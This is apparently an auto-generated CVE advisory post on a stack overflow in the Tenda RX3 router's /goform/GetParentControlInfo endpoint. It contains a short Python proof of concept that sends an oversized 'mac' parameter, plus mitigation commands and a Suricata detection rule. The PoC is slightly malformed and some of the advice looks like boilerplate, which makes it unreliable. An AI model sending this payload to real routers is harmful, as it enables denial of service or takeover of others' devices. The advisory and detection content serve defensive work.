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How the CVE Works:
CVE-2025-44900 is a critical stack-based buffer overflow vulnerability in Tenda RX3 routers (firmware V16.03.13.11). The flaw resides in the `GetParentControlInfo` function, accessible via the web interface at /goform/GetParentControlInfo. An attacker can exploit this by sending a crafted HTTP request with an oversized `mac` parameter, overflowing the stack and potentially allowing remote code execution (RCE). The lack of input validation enables arbitrary memory corruption, compromising device integrity.
DailyCVE Form:
Platform: Tenda RX3
Version: V16.03.13.11
Vulnerability: Stack Overflow
Severity: Critical
Date: 06/04/2025
Prediction: Patch by 08/2025
What Undercode Say:
Analytics:
- Exploitability: High (network-accessible, no auth)
- Impact: Full device compromise
- Attack Vector: HTTP request manipulation
Exploit PoC (Python):
import requests
target = "http://192.168.1.1/goform/GetParentControlInfo"
payload = {"mac": "A" 1024} Overflow trigger
response = requests.post(target, data=payload)
print(response.text)
Mitigation Commands:
1. Block Unauthorized Access:
iptables -A INPUT -p tcp --dport 80 -s ! TRUSTED_IP -j DROP
2. Firmware Check:
md5sum /tmp/firmware.bin | grep EXPECTED_HASH
Patch Verification Code (Bash):
curl -s http://$ROUTER_IP/version | grep -q "V16.03.13.12" && echo "Patched" || echo "Vulnerable"
Debugging (GDB):
gdb -q /usr/bin/httpd --ex "r -f" --ex "disas GetParentControlInfo"
Memory Protection:
- Enable ASLR:
echo 2 > /proc/sys/kernel/randomize_va_space
- Stack Canaries: Recompile firmware with
-fstack-protector-all.
Network Detection (Suricata Rule):
alert http any any -> $HOME_NET 80 (msg:"CVE-2025-44900 Exploit Attempt"; flow:to_server; content:"/goform/GetParentControlInfo"; http_uri; content:"mac="; nocase; pcre:"/mac=[A-Za-z0-9]{500,}/"; sid:10044900;)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
